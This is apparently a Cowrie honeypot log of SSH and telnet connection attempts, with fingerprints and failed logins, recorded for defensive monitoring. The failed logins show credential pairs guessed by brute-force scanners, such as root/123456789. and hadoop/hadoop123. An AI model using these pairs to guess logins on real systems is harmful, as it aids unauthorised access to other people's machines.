{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:09.846320Z","src_ip":"62.133.62.83","session":"7495b40c7f7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53234,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a6572dba1b0","protocol":"telnet","message":"New connection: 135.148.14.151:53234 (159.203.135.109:23) [session: 8a6572dba1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:15.625978Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":53388,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe3cbe6a1e45","protocol":"ssh","message":"New connection: 185.239.84.249:53388 (159.203.135.109:22) [session: fe3cbe6a1e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:17.248936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:17.255445Z","src_ip":"185.239.84.249","session":"fe3cbe6a1e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:17.469538Z","src_ip":"185.239.84.249","session":"fe3cbe6a1e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789.","message":"login attempt [root/123456789.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:18.103650Z","src_ip":"185.239.84.249","session":"fe3cbe6a1e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:19.321346Z","src_ip":"185.239.84.249","session":"fe3cbe6a1e45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":48698,"dst_ip":"159.203.135.109","dst_port":22,"session":"e070d8ea7eb8","protocol":"ssh","message":"New connection: 161.97.102.228:48698 (159.203.135.109:22) [session: e070d8ea7eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:22.861912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:22.867181Z","src_ip":"161.97.102.228","session":"e070d8ea7eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:22.961539Z","src_ip":"161.97.102.228","session":"e070d8ea7eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8i9o0p-[","message":"login attempt [root/8i9o0p-[] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:23.378231Z","src_ip":"161.97.102.228","session":"e070d8ea7eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:24.477785Z","src_ip":"161.97.102.228","session":"e070d8ea7eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.70331573486328,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:52.329139Z","src_ip":"135.148.14.151","session":"8a6572dba1b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50050,"dst_ip":"159.203.135.109","dst_port":23,"session":"4733989bd914","protocol":"telnet","message":"New connection: 135.148.14.151:50050 (159.203.135.109:23) [session: 4733989bd914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:11.925723Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":52500,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8208109d9f8","protocol":"ssh","message":"New connection: 103.122.221.179:52500 (159.203.135.109:22) [session: f8208109d9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:36.993159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:36.997746Z","src_ip":"103.122.221.179","session":"f8208109d9f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:37.253973Z","src_ip":"103.122.221.179","session":"f8208109d9f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"g123098","message":"login attempt [root/g123098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:38.022499Z","src_ip":"103.122.221.179","session":"f8208109d9f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:39.281440Z","src_ip":"103.122.221.179","session":"f8208109d9f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.970858335494995,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:46.896456Z","src_ip":"135.148.14.151","session":"4733989bd914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":55326,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe39bf6fe526","protocol":"ssh","message":"New connection: 185.239.84.249:55326 (159.203.135.109:22) [session: fe39bf6fe526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:49.000038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:49.006303Z","src_ip":"185.239.84.249","session":"fe39bf6fe526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:49.213619Z","src_ip":"185.239.84.249","session":"fe39bf6fe526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"robin","password":"robin","message":"login attempt [robin/robin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:49.629507Z","src_ip":"185.239.84.249","session":"fe39bf6fe526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:50.839211Z","src_ip":"185.239.84.249","session":"fe39bf6fe526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39774,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d979fab0b3","protocol":"telnet","message":"New connection: 135.148.14.151:39774 (159.203.135.109:23) [session: f6d979fab0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:53.105503Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40112,"dst_ip":"159.203.135.109","dst_port":23,"session":"22f0eb36ec1b","protocol":"telnet","message":"New connection: 135.148.14.151:40112 (159.203.135.109:23) [session: 22f0eb36ec1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:26:56.953221Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":60862,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d1bfc03b337","protocol":"ssh","message":"New connection: 161.97.102.228:60862 (159.203.135.109:22) [session: 6d1bfc03b337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:00.078771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:00.084052Z","src_ip":"161.97.102.228","session":"6d1bfc03b337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:00.182741Z","src_ip":"161.97.102.228","session":"6d1bfc03b337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA@123456","message":"login attempt [root/aA@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:00.588228Z","src_ip":"161.97.102.228","session":"6d1bfc03b337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:01.692442Z","src_ip":"161.97.102.228","session":"6d1bfc03b337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43478,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b0276c85da","protocol":"telnet","message":"New connection: 135.148.14.151:43478 (159.203.135.109:23) [session: f4b0276c85da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:01.707512Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47776,"dst_ip":"159.203.135.109","dst_port":23,"session":"a96db0acbd71","protocol":"telnet","message":"New connection: 135.148.14.151:47776 (159.203.135.109:23) [session: a96db0acbd71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:14.572082Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43154,"dst_ip":"10.17.0.5","dst_port":22,"session":"c28c7f0765af","protocol":"ssh","message":"New connection: 103.176.20.57:43154 (10.17.0.5:22) [session: c28c7f0765af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:17.867073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:17.871997Z","src_ip":"103.176.20.57","session":"c28c7f0765af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:18.122406Z","src_ip":"103.176.20.57","session":"c28c7f0765af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sveto4ka","message":"login attempt [root/sveto4ka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:18.881015Z","src_ip":"103.176.20.57","session":"c28c7f0765af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:20.135963Z","src_ip":"103.176.20.57","session":"c28c7f0765af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.165180683135986,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:29.118267Z","src_ip":"135.148.14.151","session":"22f0eb36ec1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51932454109192,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:30.624716Z","src_ip":"135.148.14.151","session":"f6d979fab0b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.401843547821045,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:38.109219Z","src_ip":"135.148.14.151","session":"f4b0276c85da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2188241481781,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:27:48.790710Z","src_ip":"135.148.14.151","session":"a96db0acbd71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":40308,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd8bf9c58f81","protocol":"ssh","message":"New connection: 185.239.84.249:40308 (159.203.135.109:22) [session: dd8bf9c58f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:17.150308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:17.157149Z","src_ip":"185.239.84.249","session":"dd8bf9c58f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:17.362142Z","src_ip":"185.239.84.249","session":"dd8bf9c58f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:17.972883Z","src_ip":"185.239.84.249","session":"dd8bf9c58f81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:19.184464Z","src_ip":"185.239.84.249","session":"dd8bf9c58f81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":39214,"dst_ip":"159.203.135.109","dst_port":22,"session":"b989f64c490e","protocol":"ssh","message":"New connection: 161.97.102.228:39214 (159.203.135.109:22) [session: b989f64c490e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:41.061666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:28:41.066516Z","src_ip":"161.97.102.228","session":"b989f64c490e","protocol":"ssh"}
